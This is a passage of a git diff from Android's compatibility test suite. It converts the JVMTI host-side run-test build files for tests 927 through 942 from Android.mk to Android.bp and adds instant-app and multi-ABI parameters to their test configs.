-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest927DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-928/Android.bp b/hostsidetests/jvmti/run-tests/test-928/Android.bp
new file mode 100644
index 0000000..ac39f3d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-928/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest928HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest928DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-928/Android.mk b/hostsidetests/jvmti/run-tests/test-928/Android.mk
deleted file mode 100644
index 30ec7b5..0000000
--- a/hostsidetests/jvmti/run-tests/test-928/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest928HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
index bf6f02c..9d38cf8 100644
--- a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/Android.bp b/hostsidetests/jvmti/run-tests/test-928/app/Android.bp
new file mode 100644
index 0000000..120fe11
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-928/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest928DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/Android.mk b/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
deleted file mode 100644
index 75ba90c..0000000
--- a/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest928DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-930/Android.bp b/hostsidetests/jvmti/run-tests/test-930/Android.bp
new file mode 100644
index 0000000..c428847
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-930/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest930HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest930DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-930/Android.mk b/hostsidetests/jvmti/run-tests/test-930/Android.mk
deleted file mode 100644
index 73e6ba5d..0000000
--- a/hostsidetests/jvmti/run-tests/test-930/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest930HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
index 2599ea5..7c3852f 100644
--- a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/Android.bp b/hostsidetests/jvmti/run-tests/test-930/app/Android.bp
new file mode 100644
index 0000000..09302fb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-930/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest930DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/Android.mk b/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
deleted file mode 100644
index 8a35455..0000000
--- a/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest930DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-931/Android.bp b/hostsidetests/jvmti/run-tests/test-931/Android.bp
new file mode 100644
index 0000000..bf11253
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-931/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest931HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest931DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-931/Android.mk b/hostsidetests/jvmti/run-tests/test-931/Android.mk
deleted file mode 100644
index 3c2175d..0000000
--- a/hostsidetests/jvmti/run-tests/test-931/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest931HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
index 2f8a15d..d11e522 100644
--- a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/Android.bp b/hostsidetests/jvmti/run-tests/test-931/app/Android.bp
new file mode 100644
index 0000000..f925396
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-931/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest931DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/Android.mk b/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
deleted file mode 100644
index c1be435..0000000
--- a/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest931DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-932/Android.bp b/hostsidetests/jvmti/run-tests/test-932/Android.bp
new file mode 100644
index 0000000..424551e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-932/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest932HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest932DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-932/Android.mk b/hostsidetests/jvmti/run-tests/test-932/Android.mk
deleted file mode 100644
index 3773279..0000000
--- a/hostsidetests/jvmti/run-tests/test-932/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest932HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
index aa2b9db..5bc2b52 100644
--- a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/Android.bp b/hostsidetests/jvmti/run-tests/test-932/app/Android.bp
new file mode 100644
index 0000000..a698d46
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-932/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest932DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/Android.mk b/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
deleted file mode 100644
index 970365b..0000000
--- a/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest932DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-940/Android.bp b/hostsidetests/jvmti/run-tests/test-940/Android.bp
new file mode 100644
index 0000000..385371a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-940/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest940HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest940DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-940/Android.mk b/hostsidetests/jvmti/run-tests/test-940/Android.mk
deleted file mode 100644
index 372ee0d..0000000
--- a/hostsidetests/jvmti/run-tests/test-940/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest940HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
index 2f35ce7..98709d4 100644
--- a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/Android.bp b/hostsidetests/jvmti/run-tests/test-940/app/Android.bp
new file mode 100644
index 0000000..f3ef9ff
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-940/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest940DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/Android.mk b/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
deleted file mode 100644
index bc0476f..0000000
--- a/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest940DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-942/Android.bp b/hostsidetests/jvmti/run-tests/test-942/Android.bp
new file mode 100644
index 0000000..bed04be
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-942/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest942HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest942DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-942/Android.mk b/hostsidetests/jvmti/run-tests/test-942/Android.mk
deleted file mode 100644
index 9a9407a..0000000
--- a/hostsidetests/jvmti/run-tests/test-942/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest942HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
index bad7710..3404377 100644
--- a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/Android.bp b/hostsidetests/jvmti/run-tests/test-942/app/Android.bp
new file mode 100644
index 0000000..e52ee99
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-942/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
